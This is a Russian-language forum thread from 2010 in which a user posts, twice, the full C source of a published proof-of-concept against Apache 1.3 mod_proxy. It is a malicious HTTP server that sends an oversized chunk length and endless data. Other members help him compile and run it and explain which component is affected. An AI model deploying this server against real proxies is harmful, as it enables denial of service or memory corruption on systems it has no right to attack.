Страница 1 из 2
Новая ЦАЦКА!
Добавлено: 2010-01-28 5:20:55
fox
Доброй ночи Господа!
Копался я на одном полезном сайте, и вот что нашёл:
http://securityvulns.ru/news/Apache/mod_proxy/IO.html
Не подскажите как скомпелить это?
Код: Выделить всё
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <pthread.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#define PORT 80
#define sys_err(x) \
do { \
fprintf(stderr,"%s",x); \
exit(-1); \
} while(0)
void *parse_me(void *arg);
int main(int argc, char *argv[]) {
int r_sock,connfd,tmp,tmp2;
struct sockaddr_in saddr;
pthread_t bo_tak;
struct stat statbuf;
if ( (r_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
sys_err("Socket()!\n");
tmp=sizeof(struct sockaddr_in);
memset(&saddr,0x0,tmp);
saddr.sin_family = PF_INET;
saddr.sin_port = htons(PORT);
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(r_sock, (struct sockaddr *) &saddr, tmp) == -1)
sys_err("Bind()!\n");
if ( (listen(r_sock,0x666)) != 0)
sys_err("Listen()!\n");
pierw_p:
while (1) {
if ( (connfd=accept(r_sock,(struct sockaddr*)&saddr,(socklen_t *)&tmp)) < 0) {
if (errno == EINTR)
goto pierw_p;
else
sys_err("Accept()!\n");
}
if ( (tmp2=pthread_create(&bo_tak,NULL,parse_me,(void *)connfd/*&tymczasowe*/) != 0))
sys_err("Accept() => Blad przy tworzeniu watku! Wychodze...");
}
}
void *parse_me(void *arg) {
int sock = (int)arg;
char buf[4096];
char *head = "HTTP/1.1 200 OK\r\n"
"Date: Sat, 66 Dec 666 23:56:50 GMT\r\n"
"Server: pi3 (pi3 OS)\r\n"
"X-Powered-By: pi3\r\n"
"Connection: close\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Type: text/html; charset=UTF-8\r\n\r\n";
memset(buf,0x0,4096);
read(sock,buf,4096);
write(sock,head,strlen(head));
write(sock,"10000000FFFF0000\n",17);
while(1)
write(sock,"A",1);
}
Хочу потестить...
Буду очень признателен!
Спасибо за внимание!
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 17:41:28
Fastman
наверное как всегда
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 17:46:54
fox
Fastman писал(а):наверное как всегда
Добрый день!
Вот, что пишет:
Код: Выделить всё
[root@fortero /home/fox/wrk/exploits]# gcc exploit.c -o exploit
/var/tmp//ccPkOcfK.o(.text+0x1c2): In function `main':
: undefined reference to `pthread_create'
Не получилось(
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 17:58:35
Fastman
fox писал(а):Fastman писал(а):наверное как всегда
Добрый день!
Вот, что пишет:
Код: Выделить всё
[root@fortero /home/fox/wrk/exploits]# gcc exploit.c -o exploit
/var/tmp//ccPkOcfK.o(.text+0x1c2): In function `main':
: undefined reference to `pthread_create'
Не получилось(
Ну так добавь то что оно просит. Добавь ключ -lpthread
Совсем какеры обленились
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 18:04:51
fox
Fastman писал(а):
Ну так добавь то что оно просит. Добавь ключ -lpthread
Совсем какеры обленились
Спасибо, но я не хакер :-) Я просто тестирую :-)
Получилось :-)
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 19:20:53
fox
А ещё вопрос, а почему он не работает а вот это говорит, не подскажите, буду очень признателен!
Код: Выделить всё
[root@fortero /home/fox/wrk/exploits]# ./exploit
Bind()!
Честно говоря, сам хочу, C++ изучить, мне тут порекомендовали вот эту книгу:
http://www.ozon.ru/context/detail/id/2847443/
Но не могу её не где найти что бы скачать, безплатно...
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 19:26:10
Гость
Николас А. Солтер, Скотт Дж. Клепер
C++ для профессионалов
не рановато ли?
начните с С++ для чайников
а ошибка потому что 80 порт уже занят
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 19:28:34
Fastman
fox писал(а):А ещё вопрос, а почему он не работает а вот это говорит, не подскажите, буду очень признателен!
Код: Выделить всё
[root@fortero /home/fox/wrk/exploits]# ./exploit
Bind()!
Так все написано же... почитайте для чего эксплоит и откуда ноги растут.
а вот если почитать то что вы скопипастили - будет все понятно:
Код: Выделить всё
if (bind(r_sock, (struct sockaddr *) &saddr, tmp) == -1)
sys_err("Bind()!\n");
Соответственно..подсказываю, что читать надо маны по bind и кодам ошибок которые возвращаются.
В ващем случае 80 порт уже занят чем то, и забиндить мы его не смогли о чем красноречиво и сообщили
Т.е. вы хотите при вашем уровне знаний читать "C++ для профессионалов" ???
Это называется с места в карьер. Может попробуете чего попроще сразу ???
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 19:36:47
fox
Согласен с Вами, порекомендуйте конкретную литературу с методологией, пожулусто, безконечно буду признателен!
Спасибо за разяснения...
Честно говоря, мне интиресно начать писать проги которые могут как демоны работать и дружить с mysql, ну это моя мативация зачем мне изучать С++, а Вы если хотите подкаректируйте мою мысль.
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 19:52:15
Fastman
fox писал(а):Согласен с Вами, порекомендуйте конкретную литературу с методологией, пожулусто, безконечно буду признателен!
Спасибо за разяснения...
Честно говоря, мне интиресно начать писать проги которые могут как демоны работать и дружить с mysql, ну это моя мативация зачем мне изучать С++, а Вы если хотите подкаректируйте мою мысль.
1. Начинаешь писать без ошибок, это позволить понимать тебя нормально. Поверь, "олбанский" уже не в моде.
2. Начинаешь с простого "Hello World", читаешь много книжек не только по программированию и алгоритмизации, но и по смежным и совсем отвлеченным темам.
3. Учишься задавать вопросы по теме. Кратко и ясно.
4. Читаешь книги серии:
ftp://ftp.lissyara.su/users/FastMan/Roc ... a_UNIX.rar
5. Если на первом пункте не срежешься - будет профит.
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 19:59:23
fox
Первым пунктом, уже второй месяц занимаюсь!
Просто я иногда тороплюсь и по этому не замечаю ошибки... А я как раз анти, албанского языка!
Я за концептуальную власть!
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 20:02:36
fox
Занятная книжонка!
Спасибо!
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 20:52:43
fox
Ну давайте, вернёмся к старым баранам:
Вот код:
Код: Выделить всё
#include <stdio.h>
#include <stdint.h>
#include <stdlib.h>
#include <string.h>
#include <netinet/in.h>
#include <pthread.h>
#include <errno.h>
#include <netdb.h>
#include <sys/socket.h>
#include <sys/un.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <arpa/inet.h>
#include <unistd.h>
#include <fcntl.h>
#define PORT 80
#define sys_err(x) \
do { \
fprintf(stderr,"%s",x); \
exit(-1); \
} while(0)
void *parse_me(void *arg);
int main(int argc, char *argv[]) {
int r_sock,connfd,tmp,tmp2;
struct sockaddr_in saddr;
pthread_t bo_tak;
struct stat statbuf;
if ( (r_sock = socket(AF_INET, SOCK_STREAM, 0)) == -1)
sys_err("Socket()!\n");
tmp=sizeof(struct sockaddr_in);
memset(&saddr,0x0,tmp);
saddr.sin_family = PF_INET;
saddr.sin_port = htons(PORT);
saddr.sin_addr.s_addr = htonl(INADDR_ANY);
if (bind(r_sock, (struct sockaddr *) &saddr, tmp) == -1)
sys_err("Bind()!\n");
if ( (listen(r_sock,0x666)) != 0)
sys_err("Listen()!\n");
pierw_p:
while (1) {
if ( (connfd=accept(r_sock,(struct sockaddr*)&saddr,(socklen_t *)&tmp)) < 0) {
if (errno == EINTR)
goto pierw_p;
else
sys_err("Accept()!\n");
}
if ( (tmp2=pthread_create(&bo_tak,NULL,parse_me,(void *)connfd/*&tymczasowe*/) != 0))
sys_err("Accept() => Blad przy tworzeniu watku! Wychodze...");
}
}
void *parse_me(void *arg) {
int sock = (int)arg;
char buf[4096];
char *head = "HTTP/1.1 200 OK\r\n"
"Date: Sat, 66 Dec 666 23:56:50 GMT\r\n"
"Server: pi3 (pi3 OS)\r\n"
"X-Powered-By: pi3\r\n"
"Connection: close\r\n"
"Transfer-Encoding: chunked\r\n"
"Content-Type: text/html; charset=UTF-8\r\n\r\n";
memset(buf,0x0,4096);
read(sock,buf,4096);
write(sock,head,strlen(head));
write(sock,"10000000FFFF0000\n",17);
while(1)
write(sock,"A",1);
}
Его получилось скампелить, вот так:
При запуске полученного продукта, появляется как бы демон который слушает ну к примеру 80 порт...
В записке к эксплоиту сказано:
Целочисленное переполнение, приводящее к переполнению динамического буфера при разборе ответа сервера в кодировке chunked.
И ещё, что он затронул:
APACHE : apache 1.3
Тогда я не могу понять в чём его угроза? Что он может сделать плохого, я понимаю написано в записке, ноя невижут от него угрозы пока сам к примеру не убью свой тестовый сервер...
Спасибо за участие!
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 21:05:15
Гость
учите русский язык
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 21:05:40
Fastman
А давай ты сначала будешь читать буквы глазами, переводить с английского на русский, думать, а потом задавать вопросы.
Уязвимость не в самом апаче, а в модуле mod_proxy (apache 1.3.xx), который позволяет работать апачу как proxy.
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 21:21:57
fox
Fastman писал(а):А давай ты сначала будешь читать буквы глазами, переводить с английского на русский, думать, а потом задавать вопросы.
Уязвимость не в самом апаче, а в модуле mod_proxy (apache 1.3.xx), который позволяет работать апачу как proxy.
Ага, спасибо... Тогда если я правильно думаю, если я буду использовать Apache как прокси обртившись по сети к ресурсу ввиде такого эксплоита, то apache пострадает?
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 21:23:42
fox
Гость писал(а):учите русский язык
Выучу! хватит меня дискременировать, я литовиц
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 21:32:12
Гость
тогда выучите и английский, потому что експлоит делает совершенно другие действия
почитайте внимательно в оригинале
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 22:58:51
fox
Гость писал(а):тогда выучите и английский, потому что експлоит делает совершенно другие действия
почитайте внимательно в оригинале
Да я знаю, что делает эксплоит, и эксплоит кажется пишется именно так "Эксплоит"!
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 23:09:17
Гость
правила интернета позволяют(допускают) упускать(сокращать) - е,э,ё, мягкий знак, твердый знак, дефис
так же это распрастраняеться на приставки НЕ с глаголами,
вообщем это вам не школа емае.
ну расскажите что делает експлоит?
и главное как работает
проверим насколько вы внимательно разобрались в нём
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 23:13:54
fox
Гость писал(а):правила интернета позволяют(допускают) упускать(сокращать) - е,э,ё, мягкий знак, твердый знак, дефис
так же это распрастраняеться на приставки НЕ с глаголами,
вообщем это вам не школа емае.
ну расскажите что делает експлоит?
и главное как работает
проверим насколько вы внимательно разобрались в нём
Главная задача любого эксплоита - это эксплуатация! Хоть и паразитного типа!
Тоесть захват контроля...
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 23:17:24
Fastman
Так..хорош флудить...
Человек пускай задает вопросы по теме если есть. Если не сможет сформулировать - будем возить мордочкой по асфальту давая ссылки на гуглы.
Если будут хорошие вопросы - будем стараться отвечать.
Не боги горшки обжигают. Все когда то были ламерами....
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 23:19:44
Гость
fox писал(а):Главная задача любого эксплоита - это эксплуатация! Хоть и паразитного типа!
Тоесть захват контроля...
тоесть как работает експлоит вы даже не поняли
а он на самом деле даже в апатч не интегрируеться
почитайте внимательно суть его работы
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 23:20:38
fox
Как вы обиделись, когда я указал вам на ваши ошибки, и сразу нашли оправдание, это предсказуемая тактика поведения человека...
Я не знаю русского языка, как и собственно говоря любого другого, я только их изучаю по мери возможностей...
Я не люблю указывать людям на их ошибки это безтактно... Это лично моё мнение, оно субъективно.
Ещё я люблю знания, и по этому я здесь, потому, что я могу про стимулировать свой мозг, это один из смыслов жизни!
А ещё, мне не понятно почему Вы скрываетесь под маской Гость? Почему вы не зарегетесь?
Re: Новая ЦАЦКА!
Добавлено: 2010-01-28 23:21:49
fox
Fastman писал(а):Так..хорош флудить...
Человек пускай задает вопросы по теме если есть. Если не сможет сформулировать - будем возить мордочкой по асфальту давая ссылки на гуглы.
Если будут хорошие вопросы - будем стараться отвечать.
Не боги горшки обжигают. Все когда то были ламерами....
Мощно сказано! По нашему, уважаю! Спасибо!